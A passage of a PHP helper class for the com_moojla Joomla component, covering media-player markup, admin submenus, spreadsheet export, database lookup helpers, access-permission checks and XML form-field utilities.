you're gonna get
              $('#modalfile-$id').attr('src',
fileSrc);
              viewActivity($mid, $id);
            })

            // stop playing the youtube file when I close the modal
            $('#myModal-$id').on('hide.bs.modal',
function(e) {
              $('#modalfile-$id').attr('src',
fileSrc);
              body = $('body');
              body.removeClass('modal-open');
              modalback =
document.getElementsByClassName('modal-backdrop');
              try
              {
              	document.getElementById('modalfile-$id').pause();
              }
              catch
              {
              
              }
              
              for (let item of modalback) {
               item.remove();
              }
            })
          });
         
".($preventdownload?'noRightClicks=document.getElementsByTagName(`'.$tagname.'`);for(i
= 0; i < noRightClicks.length;
i++){noRightClicks[i].addEventListener(`contextmenu`, e =>
e.preventDefault());}':'')."
          </script>
          <style>
          .modal-dialog {
            max-width: 800px;
            margin: 30px auto;
          }
          .modal-body {
            position: relative;
            padding: 0px;
          }
          .close {
            position: absolute;
            right: 5px;
            top: 5px;
            z-index: 999;
            font-size: 2rem;
            font-weight: normal;
            color: #fff;
            opacity: 1;
            text-shadow: 0 0 5px #ff0000;
          }
          </style>";
        break;
      case 2:
        $html = "<button type='button' class='btn
btn-primary file-btn' onclick='show$mimetype(this, $id,
\"$src \")'>$name</button>
          <script>
          function show$mimetype(elm, id, src){
            par = elm.parentElement;
            elementExist =
par.querySelector('$tagname.resource-$mimetype');
            if(!elementExist){
              fileElement = document.createElement('$tagname');
              fileElement.setAttribute('src', src);
              if($addcontrols)
                fileElement.setAttribute('controls',
'');
              fileElement.setAttribute('class',
'resource-$mimetype')
              if($preloadvideo == 0)
                fileElement.setAttribute('preload',
'none');
              if($muted)
                fileElement.setAttribute('muted', '');
              if($autoplay)
                fileElement.setAttribute('autoplay',
'');
              if($preventdownload)
                fileElement.setAttribute('controlsList',
'nodownload');
              par.append(fileElement);
              viewActivity($mid, $id);
            }
          }
         
".($preventdownload?'noRightClicks=document.getElementsByTagName(`'.$tagname.'`);for(i
= 0; i < noRightClicks.length;
i++){noRightClicks[i].addEventListener(`contextmenu`, e =>
e.preventDefault());}':'')."
          </script>";
        break;
      case 3:
        $html = "<button type='button' class='btn
btn-primary file-btn' onclick='show$mimetype(this, $id,
\"$src \")'>$name</button>
          <script>
          function show$mimetype(elm, id, src){
            par =
document.getElementById('lmskaran_course_image');
						console.log(par);
            elementExist =
par.querySelector('$tagname.resource-$mimetype');
            // if(!elementExist){
              fileElement = document.createElement('$tagname');
              fileElement.setAttribute('src', src);
              if($addcontrols)
                fileElement.setAttribute('controls',
'');
              fileElement.setAttribute('class',
'resource-$mimetype')
              if($preloadvideo == 0)
                fileElement.setAttribute('preload',
'none');
              if($muted)
                fileElement.setAttribute('muted', '');
              if($autoplay)
                fileElement.setAttribute('autoplay',
'');
              if($preventdownload)
                fileElement.setAttribute('controlsList',
'nodownload');

							par.innerHTML = ''
              par.append(fileElement);
							jQuery('html, body').animate({
									scrollTop: jQuery('#lmskaran_course_image').offset().top
- 100
							}, 700);
              viewActivity($mid, $id);
            // }
          }
         
".($preventdownload?'noRightClicks=document.getElementsByTagName(`'.$tagname.'`);for(i
= 0; i < noRightClicks.length;
i++){noRightClicks[i].addEventListener(`contextmenu`, e =>
e.preventDefault());}':'')."
          </script>";
        break;
    }
    $videowidth = trim($params->get('videowidth',
'100%'));
    $videoheight = trim($params->get('videoheight',
'100%'));
    $css = "
    <style>
    	#lmskaran_course_image video.resource-video {
            width: $videowidth;
            height: $videoheight;
        }
    </style>
    ";
    return $html . $css;
  }

  public static function getHierarchialTemplate($params, $templateField,
$default='default')
  {
    $param = $params->get($templateField);
    if (!$param) {
      $tmpl =
JComponentHelper::getParams('com_moojla')->get($templateField,
$default);
    } else {
      $tmpl = $param;
    }
    $tmpl = preg_replace('/\.php$/', '', $tmpl);
    return $tmpl;
  }
/***[/JCBGUI$$$$]***/


	/**
	 * Load the Composer Vendors
	 */
	public static function composerAutoload($target)
	{
		// insure we load the composer vendor only once
		if (!isset(self::$composer[$target]))
		{
			// get the function name
			$functionName = self::safeString('compose' . $target);
			// check if method exist
			if (method_exists(__CLASS__, $functionName))
			{
				return self::{$functionName}();
			}
			return false;
		}
		return self::$composer[$target];
	}

	/**
	 * Load the Component xml manifest.
	 */
	public static function manifest()
	{
		$manifestUrl =
JPATH_ADMINISTRATOR."/components/com_moojla/moojla.xml";
		return simplexml_load_file($manifestUrl);
	}

	/**
	 * Joomla version object
	 */	
	protected static $JVersion;

	/**
	 * set/get Joomla version
	 */
	public static function jVersion()
	{
		// check if set
		if (!self::checkObject(self::$JVersion))
		{
			self::$JVersion = new JVersion();
		}
		return self::$JVersion;
	}

	/**
	 * Load the Contributors details.
	 */
	public static function getContributors()
	{
		// get params
		$params	= JComponentHelper::getParams('com_moojla');
		// start contributors array
		$contributors = array();
		// get all Contributors (max 20)
		$searchArray = range('0','20');
		foreach($searchArray as $nr)
 		{
			if ((NULL !== $params->get("showContributor".$nr))
&& ($params->get("showContributor".$nr) == 1 ||
$params->get("showContributor".$nr) == 3))
			{
				// set link based of selected option
				if($params->get("useContributor".$nr) == 1)
         		{
					$link_front = '<a
href="mailto:'.$params->get("emailContributor".$nr).'"
target="_blank">';
					$link_back = '</a>';
				}
				elseif($params->get("useContributor".$nr) == 2)
				{
					$link_front = '<a
href="'.$params->get("linkContributor".$nr).'"
target="_blank">';
					$link_back = '</a>';
				}
				else
				{
					$link_front = '';
					$link_back = '';
				}
				$contributors[$nr]['title']	=
self::htmlEscape($params->get("titleContributor".$nr));
				$contributors[$nr]['name']	=
$link_front.self::htmlEscape($params->get("nameContributor".$nr)).$link_back;
			}
		}
		return $contributors;
	}

	/**
	 *	Can be used to build help urls.
	 **/
	public static function getHelpUrl($view)
	{
		return false;
	}

	/**
	 * Configure the Linkbar.
	 */
	public static function addSubmenu($submenu)
	{
		// load user for access menus
		$user = JFactory::getUser();
		// load the submenus to sidebar
		JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_DASHBOARD'),
'index.php?option=com_moojla&view=moojla', $submenu ===
'moojla');
		if ($user->authorise('course.access',
'com_moojla') &&
$user->authorise('course.submenu', 'com_moojla'))
		{
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSES'),
'index.php?option=com_moojla&view=courses', $submenu ===
'courses');
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_COURSE_COURSES_CATEGORIES'),
'index.php?option=com_categories&view=categories&extension=com_moojla.course',
$submenu === 'categories.course');
		}
		if (JComponentHelper::isEnabled('com_fields'))
		{
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSES_FIELDS'),
'index.php?option=com_fields&context=com_moojla.course',
$submenu === 'fields.fields');
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSES_FIELDS_GROUPS'),
'index.php?option=com_fields&view=groups&context=com_moojla.course',
$submenu === 'fields.groups');
		}
		if ($user->authorise('course_field_mapper.access',
'com_moojla') &&
$user->authorise('course_field_mapper.submenu',
'com_moojla'))
		{
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSE_FIELDS_MAPPER'),
'index.php?option=com_moojla&view=course_fields_mapper',
$submenu === 'course_fields_mapper');
		}
		JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_USER_MAPS'),
'index.php?option=com_moojla&view=user_maps', $submenu ===
'user_maps');
		JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_USER_FIELDS_MAP'),
'index.php?option=com_moojla&view=user_fields_map', $submenu
=== 'user_fields_map');
		JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSE_GROUP_MAPS'),
'index.php?option=com_moojla&view=course_group_maps',
$submenu === 'course_group_maps');
		JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_ENROLMENTS'),
'index.php?option=com_moojla&view=enrolments', $submenu ===
'enrolments');
		if ($user->authorise('tag.access', 'com_moojla')
&& $user->authorise('tag.submenu',
'com_moojla'))
		{
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_TAGS'),
'index.php?option=com_moojla&view=tags', $submenu ===
'tags');
		}
		if ($user->authorise('tag_instance.access',
'com_moojla') &&
$user->authorise('tag_instance.submenu',
'com_moojla'))
		{
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_TAG_INSTANCES'),
'index.php?option=com_moojla&view=tag_instances', $submenu
=== 'tag_instances');
		}
		// Access control (healthcheck.submenu).
		if ($user->authorise('healthcheck.submenu',
'com_moojla'))
		{
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_HEALTHCHECK'),
'index.php?option=com_moojla&view=healthcheck', $submenu ===
'healthcheck');
		}
		JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COHORTS'),
'index.php?option=com_moojla&view=cohorts', $submenu ===
'cohorts');
		if ($user->authorise('language_translation.submenu',
'com_moojla'))
		{
			JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_LANGUAGETRANSLATION'),
'index.php?option=com_moojla&view=languagetranslation',
$submenu === 'languagetranslation');
		}
	}

	/**
	* Prepares the xml document
	*/
	public static function xls($rows, $fileName = null, $title = null,
$subjectTab = null, $creator = 'Lmskaran', $description = null,
$category = null,$keywords = null, $modified = null)
	{
		// set the user
		$user = JFactory::getUser();
		// set fileName if not set
		if (!$fileName)
		{
			$fileName =
'exported_'.JFactory::getDate()->format('jS_F_Y');
		}
		// set modified if not set
		if (!$modified)
		{
			$modified = $user->name;
		}
		// set title if not set
		if (!$title)
		{
			$title = 'Book1';
		}
		// set tab name if not set
		if (!$subjectTab)
		{
			$subjectTab = 'Sheet1';
		}

		// make sure we have the composer classes loaded
		self::composerAutoload('phpspreadsheet');

		// Create new Spreadsheet object
		$spreadsheet = new Spreadsheet();

		// Set document properties
		$spreadsheet->getProperties()
			->setCreator($creator)
			->setCompany('Lmskaran')
			->setLastModifiedBy($modified)
			->setTitle($title)
			->setSubject($subjectTab);
		// The file type
		$file_type = 'Xls';
		// set description
		if ($description)
		{
			$spreadsheet->getProperties()->setDescription($description);
		}
		// set keywords
		if ($keywords)
		{
			$spreadsheet->getProperties()->setKeywords($keywords);
		}
		// set category
		if ($category)
		{
			$spreadsheet->getProperties()->setCategory($category);
		}

		// Some styles
		$headerStyles = array(
			'font'  => array(
				'bold'  => true,
				'color' => array('rgb' =>
'1171A3'),
				'size'  => 12,
				'name'  => 'Verdana'
		));
		$sideStyles = array(
			'font'  => array(
				'bold'  => true,
				'color' => array('rgb' =>
'444444'),
				'size'  => 11,
				'name'  => 'Verdana'
		));
		$normalStyles = array(
			'font'  => array(
				'color' => array('rgb' =>
'444444'),
				'size'  => 11,
				'name'  => 'Verdana'
		));

		// Add some data
		if (($size = self::checkArray($rows)) !== false)
		{
			$i = 1;

			// Based on data size we adapt the behaviour.
			$xls_mode = 1;
			if ($size > 3000)
			{
				$xls_mode = 3;
				$file_type = 'Csv';
			}
			elseif ($size > 2000)
			{
				$xls_mode = 2;
			}

			// Set active sheet and get it.
			$active_sheet = $spreadsheet->setActiveSheetIndex(0);
			foreach ($rows as $array)
			{
				$a = 'A';
				foreach ($array as $value)
				{
					$active_sheet->setCellValue($a.$i, $value);
					if ($xls_mode != 3)
					{
						if ($i == 1)
						{
							$active_sheet->getColumnDimension($a)->setAutoSize(true);
							$active_sheet->getStyle($a.$i)->applyFromArray($headerStyles);
							$active_sheet->getStyle($a.$i)->getAlignment()->setHorizontal(PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER);
						}
						elseif ($a === 'A')
						{
							$active_sheet->getStyle($a.$i)->applyFromArray($sideStyles);
						}
						elseif ($xls_mode == 1)
						{
							$active_sheet->getStyle($a.$i)->applyFromArray($normalStyles);
						}
					}
					$a++;
				}
				$i++;
			}
		}
		else
		{
			return false;
		}

		// Rename worksheet
		$spreadsheet->getActiveSheet()->setTitle($subjectTab);

		// Set active sheet index to the first sheet, so Excel opens this as the
first sheet
		$spreadsheet->setActiveSheetIndex(0);

		// Redirect output to a client's web browser (Excel5)
		header('Content-Type: application/vnd.ms-excel');
		header('Content-Disposition: attachment;filename="' .
$fileName . '.' . strtolower($file_type) .'"');
		header('Cache-Control: max-age=0');
		// If you're serving to IE 9, then the following may be needed
		header('Cache-Control: max-age=1');

		// If you're serving to IE over SSL, then the following may be
needed
		header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in
the past
		header ('Last-Modified: '.gmdate('D, d M Y
H:i:s').' GMT'); // always modified
		header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1
		header ('Pragma: public'); // HTTP/1.0

		$writer = IOFactory::createWriter($spreadsheet, $file_type);
		$writer->save('php://output');
		jexit();
	}

	/**
	* Get CSV Headers
	*/
	public static function getFileHeaders($dataType)
	{
		// make sure we have the composer classes loaded
		self::composerAutoload('phpspreadsheet');
		// get session object
		$session = JFactory::getSession();
		$package = $session->get('package', null);
		$package = json_decode($package, true);
		// set the headers
		if(isset($package['dir']))
		{
			// only load first three rows
			$chunkFilter = new PhpOffice\PhpSpreadsheet\Reader\chunkReadFilter(2,1);
			// identify the file type
			$inputFileType = IOFactory::identify($package['dir']);
			// create the reader for this file type
			$excelReader = IOFactory::createReader($inputFileType);
			// load the limiting filter
			$excelReader->setReadFilter($chunkFilter);
			$excelReader->setReadDataOnly(true);
			// load the rows (only first three)
			$excelObj = $excelReader->load($package['dir']);
			$headers = array();
			foreach ($excelObj->getActiveSheet()->getRowIterator() as $row)
			{
				if($row->getRowIndex() == 1)
				{
					$cellIterator = $row->getCellIterator();
					$cellIterator->setIterateOnlyExistingCells(false);
					foreach ($cellIterator as $cell)
					{
						if (!is_null($cell))
						{
							$headers[$cell->getColumn()] = $cell->getValue();
						}
					}
					$excelObj->disconnectWorksheets();
					unset($excelObj);
					break;
				}
			}
			return $headers;
		}
		return false;
	}

	/**
	* Load the Composer Vendor phpspreadsheet
	*/
	protected static function composephpspreadsheet()
	{
		// load the autoloader for phpspreadsheet
		require_once JPATH_SITE .
'/libraries/phpspreadsheet/vendor/autoload.php';
		// do not load again
		self::$composer['phpspreadsheet'] = true;

		return  true;
	}

	/**
	 * Get a Variable 
	 *
	 * @param   string   $table        The table from which to get the
variable
	 * @param   string   $where        The value where
	 * @param   string   $whereString  The target/field string where/name
	 * @param   string   $what         The return field
	 * @param   string   $operator     The operator between $whereString/field
and $where/value
	 * @param   string   $main         The component in which the table is
found
	 *
	 * @return  mix string/int/float
	 *
	 */
	public static function getVar($table, $where = null, $whereString =
'user', $what = 'id', $operator = '=', $main
= 'moojla')
	{
		if(!$where)
		{
			$where = JFactory::getUser()->id;
		}
		// Get a db connection.
		$db = JFactory::getDbo();
		// Create a new query object.
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array($what)));
		if (empty($table))
		{
			$query->from($db->quoteName('#__'.$main));
		}
		else
		{
			$query->from($db->quoteName('#__'.$main.'_'.$table));
		}
		if (is_numeric($where))
		{
			$query->where($db->quoteName($whereString) . '
'.$operator.' '.(int) $where);
		}
		elseif (is_string($where))
		{
			$query->where($db->quoteName($whereString) . '
'.$operator.' '. $db->quote((string)$where));
		}
		else
		{
			return false;
		}
		$db->setQuery($query);
		$db->execute();
		if ($db->getNumRows())
		{
			return $db->loadResult();
		}
		return false;
	}

	/**
	 * Get array of variables
	 *
	 * @param   string   $table        The table from which to get the
variables
	 * @param   string   $where        The value where
	 * @param   string   $whereString  The target/field string where/name
	 * @param   string   $what         The return field
	 * @param   string   $operator     The operator between $whereString/field
and $where/value
	 * @param   string   $main         The component in which the table is
found
	 * @param   bool     $unique       The switch to return a unique array
	 *
	 * @return  array
	 *
	 */
	public static function getVars($table, $where = null, $whereString =
'user', $what = 'id', $operator = 'IN', $main
= 'moojla', $unique = true)
	{
		if(!$where)
		{
			$where = JFactory::getUser()->id;
		}

		if (!self::checkArray($where) && $where > 0)
		{
			$where = array($where);
		}

		if (self::checkArray($where))
		{
			// prep main <-- why? well if $main='' is empty then $table
can be categories or users
			if (self::checkString($main))
			{
				$main = '_'.ltrim($main, '_');
			}
			// Get a db connection.
			$db = JFactory::getDbo();
			// Create a new query object.
			$query = $db->getQuery(true);

			$query->select($db->quoteName(array($what)));
			if (empty($table))
			{
				$query->from($db->quoteName('#__'.$main));
			}
			else
			{
				$query->from($db->quoteName('#_'.$main.'_'.$table));
			}
			// add strings to array search
			if ('IN_STRINGS' === $operator || 'NOT IN_STRINGS'
=== $operator)
			{
				$query->where($db->quoteName($whereString) . ' ' .
str_replace('_STRINGS', '', $operator) . '
("' . implode('","',$where) .
'")');
			}
			else
			{
				$query->where($db->quoteName($whereString) . ' ' .
$operator . ' (' . implode(',',$where) .
')');
			}
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				if ($unique)
				{
					return array_unique($db->loadColumn());
				}
				return $db->loadColumn();
			}
		}
		return false;
	}

	public static function jsonToString($value, $sperator = ", ",
$table = null, $id = 'id', $name = 'name')
	{
		// do some table foot work
		$external = false;
		if (strpos($table, '#__') !== false)
		{
			$external = true;
			$table = str_replace('#__', '', $table);
		}
		// check if string is JSON
		$result = json_decode($value, true);
		if (json_last_error() === JSON_ERROR_NONE)
		{
			// is JSON
			if (self::checkArray($result))
			{
				if (self::checkString($table))
				{
					$names = array();
					foreach ($result as $val)
					{
						if ($external)
						{
							if ($_name = self::getVar(null, $val, $id, $name, '=',
$table))
							{
								$names[] = $_name;
							}
						}
						else
						{
							if ($_name = self::getVar($table, $val, $id, $name))
							{
								$names[] = $_name;
							}
						}
					}
					if (self::checkArray($names))
					{
						return (string) implode($sperator,$names);
					}	
				}
				return (string) implode($sperator,$result);
			}
			return (string) json_decode($value);
		}
		return $value;
	}

	public static function isPublished($id,$type)
	{
		if ($type == 'raw')
		{
			$type = 'item';
		}
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select(array('a.published'));
		$query->from('#__moojla_'.$type.' AS a');
		$query->where('a.id = '. (int) $id);
		$query->where('a.published = 1');
		$db->setQuery($query);
		$db->execute();
		$found = $db->getNumRows();
		if($found)
		{
			return true;
		}
		return false;
	}

	public static function getGroupName($id)
	{
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select(array('a.title'));
		$query->from('#__usergroups AS a');
		$query->where('a.id = '. (int) $id);
		$db->setQuery($query);
		$db->execute();
		$found = $db->getNumRows();
		if($found)
  		{
			return $db->loadResult();
		}
		return $id;
	}

	/**
	 * Get the action permissions
	 *
	 * @param  string   $view        The related view name
	 * @param  int      $record      The item to act upon
	 * @param  string   $views       The related list view name
	 * @param  mixed    $target      Only get this permission (like edit,
create, delete)
	 * @param  string   $component   The target component
	 * @param  object   $user        The user whose permissions we are loading
	 *
	 * @return  object   The JObject of permission/authorised actions
	 * 
	 */
	public static function getActions($view, &$record = null, $views =
null, $target = null, $component = 'moojla', $user =
'null')
	{
		// load the user if not given
		if (!self::checkObject($user))
		{
			// get the user object
			$user = JFactory::getUser();
		}
		// load the JObject
		$result = new JObject;
		// make view name safe (just incase)
		$view = self::safeString($view);
		if (self::checkString($views))
		{
			$views = self::safeString($views);
 		}
		// get all actions from component
		$actions = JAccess::getActionsFromFile(
			JPATH_ADMINISTRATOR . '/components/com_' . $component .
'/access.xml',
			"/access/section[@name='component']/"
		);
		// if non found then return empty JObject
		if (empty($actions))
		{
			return $result;
		}
		// get created by if not found
		if (self::checkObject($record) && !isset($record->created_by)
&& isset($record->id))
		{
			$record->created_by = self::getVar($view, $record->id,
'id', 'created_by', '=', $component);
		}
		// set actions only set in component settings
		$componentActions = array('core.admin',
'core.manage', 'core.options',
'core.export');
		// check if we have a target
		$checkTarget = false;
		if ($target)
		{
			// convert to an array
			if (self::checkString($target))
			{
				$target = array($target);
			}
			// check if we are good to go
			if (self::checkArray($target))
			{
				$checkTarget = true;
			}
		}
		// loop the actions and set the permissions
		foreach ($actions as $action)
		{
			// check target action filter
			if ($checkTarget && self::filterActions($view, $action->name,
$target))
			{
				continue;
			}
			// set to use component default
			$fallback = true;
			// reset permission per/action
			$permission = false;
			$catpermission = false;
			// set area
			$area = 'comp';
			// check if the record has an ID and the action is item related (not a
component action)
			if (self::checkObject($record) && isset($record->id)
&& $record->id > 0 && !in_array($action->name,
$componentActions) &&
				(strpos($action->name, 'core.') !== false ||
strpos($action->name, $view . '.') !== false))
			{
				// we are in item
				$area = 'item';
				// The record has been set. Check the record permissions.
				$permission = $user->authorise($action->name, 'com_' .
$component . '.' . $view . '.' . (int) $record->id);
				// if no permission found, check edit own
				if (!$permission)
				{
					// With edit, if the created_by matches current user then dig deeper.
					if (($action->name === 'core.edit' || $action->name
=== $view . '.edit') && $record->created_by > 0
&& ($record->created_by == $user->id))
					{
						// the correct target
						$coreCheck = (array) explode('.', $action->name);
						// check that we have both local and global access
						if ($user->authorise($coreCheck[0] . '.edit.own',
'com_' . $component . '.' . $view . '.' .
(int) $record->id) &&
							$user->authorise($coreCheck[0]  . '.edit.own',
'com_' . $component))
						{
							// allow edit
							$result->set($action->name, true);
							// set not to use global default
							// because we already validated it
							$fallback = false;
						}
						else
						{
							// do not allow edit
							$result->set($action->name, false);
							$fallback = false;
						}
					}
				}
				elseif (self::checkString($views) && isset($record->catid)
&& $record->catid > 0)
				{
					// we are in item
					$area = 'category';
					// set the core check
					$coreCheck = explode('.', $action->name);
					$core = $coreCheck[0];
					// make sure we use the core. action check for the categories
					if (strpos($action->name, $view) !== false &&
strpos($action->name, 'core.') === false )
					{
						$coreCheck[0] = 'core';
						$categoryCheck = implode('.', $coreCheck);
					}
					else
					{
						$categoryCheck = $action->name;
					}
					// The record has a category. Check the category permissions.
					$catpermission = $user->authorise($categoryCheck, 'com_'
. $component . '.' . $views . '.category.' . (int)
$record->catid);
					if (!$catpermission && !is_null($catpermission))
					{
						// With edit, if the created_by matches current user then dig deeper.
						if (($action->name === 'core.edit' || $action->name
=== $view . '.edit') && $record->created_by > 0
&& ($record->created_by == $user->id))
						{
							// check that we have both local and global access
							if ($user->authorise('core.edit.own', 'com_'
. $component . '.' . $views . '.category.' . (int)
$record->catid) &&
								$user->authorise($core . '.edit.own', 'com_'
. $component))
							{
								// allow edit
								$result->set($action->name, true);
								// set not to use global default
								// because we already validated it
								$fallback = false;
							}
							else
							{
								// do not allow edit
								$result->set($action->name, false);
								$fallback = false;
							}
						}
					}
				}
			}
			// if allowed then fallback on component global settings
			if ($fallback)
			{
				// if item/category blocks access then don't fall back on global
				if ((($area === 'item') && !$permission) || (($area
=== 'category') && !$catpermission))
				{
					// do not allow
					$result->set($action->name, false);
				}
				// Finally remember the global settings have the final say. (even if
item allow)
				// The local item permissions can block, but it can't open and
override of global permissions.
				// Since items are created by users and global permissions is set by
system admin.
				else
				{
					$result->set($action->name,
$user->authorise($action->name, 'com_' . $component));
				}
			}
		}
		return $result;
	}

	/**
	 * Filter the action permissions
	 *
	 * @param  string   $action   The action to check
	 * @param  array    $targets  The array of target actions
	 *
	 * @return  boolean   true if action should be filtered out
	 * 
	 */
	protected static function filterActions(&$view, &$action,
&$targets)
	{
		foreach ($targets as $target)
		{
			if (strpos($action, $view . '.' . $target) !== false ||
				strpos($action, 'core.' . $target) !== false)
			{
				return false;
				break;
			}
		}
		return true;
	}

	/**
	 * Get any component's model
	 */
	public static function getModel($name, $path =
JPATH_COMPONENT_ADMINISTRATOR, $Component = 'Moojla', $config =
array())
	{
		// fix the name
		$name = self::safeString($name);
		// full path to models
		$fullPathModels = $path . '/models';
		// load the model file
		JModelLegacy::addIncludePath($fullPathModels, $Component .
'Model');
		// make sure the table path is loaded
		if (!isset($config['table_path']) ||
!self::checkString($config['table_path']))
		{
			// This is the JCB default path to tables in Joomla 3.x
			$config['table_path'] = JPATH_ADMINISTRATOR .
'/components/com_' . strtolower($Component) .
'/tables';
		}
		// get instance
		$model = JModelLegacy::getInstance($name, $Component . 'Model',
$config);
		// if model not found (strange)
		if ($model == false)
		{
			jimport('joomla.filesystem.file');
			// get file path
			$filePath = $path . '/' . $name . '.php';
			$fullPathModel = $fullPathModels . '/' . $name .
'.php';
			// check if it exists
			if (File::exists($filePath))
			{
				// get the file
				require_once $filePath;
			}
			elseif (File::exists($fullPathModel))
			{
				// get the file
				require_once $fullPathModel;
			}
			// build class names
			$modelClass = $Component . 'Model' . $name;
			if (class_exists($modelClass))
			{
				// initialize the model
				return new $modelClass($config);
			}
		}
		return $model;
	}

	/**
	 * Add to asset Table
	 */
	public static function setAsset($id, $table, $inherit = true)
	{
		$parent = JTable::getInstance('Asset');
		$parent->loadByName('com_moojla');
		
		$parentId = $parent->id;
		$name     = 'com_moojla.'.$table.'.'.$id;
		$title    = '';

		$asset = JTable::getInstance('Asset');
		$asset->loadByName($name);

		// Check for an error.
		$error = $asset->getError();

		if ($error)
		{
			return false;
		}
		else
		{
			// Specify how a new or moved node asset is inserted into the tree.
			if ($asset->parent_id != $parentId)
			{
				$asset->setLocation($parentId, 'last-child');
			}

			// Prepare the asset to be stored.
			$asset->parent_id = $parentId;
			$asset->name      = $name;
			$asset->title     = $title;
			// get the default asset rules
			$rules = self::getDefaultAssetRules('com_moojla', $table,
$inherit);
			if ($rules instanceof JAccessRules)
			{
				$asset->rules = (string) $rules;
			}

			if (!$asset->check() || !$asset->store())
			{
				JFactory::getApplication()->enqueueMessage($asset->getError(),
'warning');
				return false;
			}
			else
			{
				// Create an asset_id or heal one that is corrupted.
				$object = new stdClass();

				// Must be a valid primary key value.
				$object->id = $id;
				$object->asset_id = (int) $asset->id;

				// Update their asset_id to link to the asset table.
				return
JFactory::getDbo()->updateObject('#__moojla_'.$table, $object,
'id');
			}
		}
		return false;
	}

	/**
	 * Gets the default asset Rules for a component/view.
	 */
	protected static function getDefaultAssetRules($component, $view, $inherit
= true)
	{
		// if new or inherited
		$assetId = 0;
		// Only get the actual item rules if not inheriting
		if (!$inherit)
		{
			// Need to find the asset id by the name of the component.
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('id'))
				->from($db->quoteName('#__assets'))
				->where($db->quoteName('name') . ' = ' .
$db->quote($component));
			$db->setQuery($query);
			$db->execute();
			// check that there is a value
			if ($db->getNumRows())
			{
				// asset already set so use saved rules
				$assetId = (int) $db->loadResult();
			}
		}
		// get asset rules
		$result =  JAccess::getAssetRules($assetId);
		if ($result instanceof JAccessRules)
		{
			$_result = (string) $result;
			$_result = json_decode($_result);
			foreach ($_result as $name => &$rule)
			{
				$v = explode('.', $name);
				if ($view !== $v[0])
				{
					// remove since it is not part of this view
					unset($_result->$name);
				}
				elseif ($inherit)
				{
					// clear the value since we inherit
					$rule = array();
				}
			}
			// check if there are any view values remaining
			if (count((array) $_result))
			{
				$_result = json_encode($_result);
				$_result = array($_result);
				// Instantiate and return the JAccessRules object for the asset rules.
				$rules = new JAccessRules($_result);
				// return filtered rules
				return $rules;
			}
		}
		return $result;
	}

	/**
	 * xmlAppend
	 *
	 * @param   SimpleXMLElement   $xml      The XML element reference in
which to inject a comment
	 * @param   mixed              $node     A SimpleXMLElement node to append
to the XML element reference, or a stdClass object containing a comment
attribute to be injected before the XML node and a fieldXML attribute
containing a SimpleXMLElement
	 *
	 * @return  null
	 *
	 */
	public static function xmlAppend(&$xml, $node)
	{
		if (!$node)
		{
			// element was not returned
			return;
		}
		switch (get_class($node))
		{
			case 'stdClass':
				if (property_exists($node, 'comment'))
				{
					self::xmlComment($xml, $node->comment);
				}
				if (property_exists($node, 'fieldXML'))
				{
					self::xmlAppend($xml, $node->fieldXML);
				}
				break;
			case 'SimpleXMLElement':
				$domXML = dom_import_simplexml($xml);
				$domNode = dom_import_simplexml($node);
				$domXML->appendChild($domXML->ownerDocument->importNode($domNode,
true));
				$xml = simplexml_import_dom($domXML);
				break;
		}
	}

	/**
	 * xmlComment
	 *
	 * @param   SimpleXMLElement   $xml        The XML element reference in
which to inject a comment
	 * @param   string             $comment    The comment to inject
	 *
	 * @return  null
	 *
	 */
	public static function xmlComment(&$xml, $comment)
	{
		$domXML = dom_import_simplexml($xml);
		$domComment = new DOMComment($comment);
		$nodeTarget = $domXML->ownerDocument->importNode($domComment,
true);
		$domXML->appendChild($nodeTarget);
		$xml = simplexml_import_dom($domXML);
	}

	/**
	 * xmlAddAttributes
	 *
	 * @param   SimpleXMLElement   $xml          The XML element reference in
which to inject a comment
	 * @param   array              $attributes   The attributes to apply to
the XML element
	 *
	 * @return  null
	 *
	 */
	public static function xmlAddAttributes(&$xml, $attributes = array())
	{
		foreach ($attributes as $key => $value)
		{
			$xml->addAttribute($key, $value);
		}
	}

	/**
	 * xmlAddOptions
	 *
	 * @param   SimpleXMLElement   $xml          The XML element reference in
which to inject a comment
	 * @param   array              $options      The options to apply to the
XML element
	 *
	 * @return  void
	 *
	 */
	public static function xmlAddOptions(&$xml, $options = array())
	{
		foreach ($options as $key => $value)
		{
			$addOption = $xml->addChild('option');
			$addOption->addAttribute('value', $key);
			$addOption[] = $value;
		}
	}

	/**
	 * get the field object
	 *
	 * @param   array      $attributes   The array of attributes
	 * @param   string     $default      The default of the field
	 * @param   array      $options      The options to apply to the XML
element
	 *
	 * @return  object
	 *
	 */
	public static function getFieldObject(&$attributes, $default =
'', $options = null)
	{
		// make sure we have attributes and a type value
		if (self::checkArray($attributes) &&
isset($attributes['type']))
		{
			// make sure the form helper class is loaded
			if (!method_exists('JFormHelper', 'loadFieldType'))
			{
				jimport('joomla.form.form');
			}
			// get field type
			$field = JFormHelper::loadFieldType($attributes['type'],
true);
			// get field xml
			$XML = self::getFieldXML($attributes, $options);
			// setup the field
			$field->setup($XML, $default);
			// return the field object
			return $field;
		}
		return false;
	}

	/**
	 * get the field xml
	 *
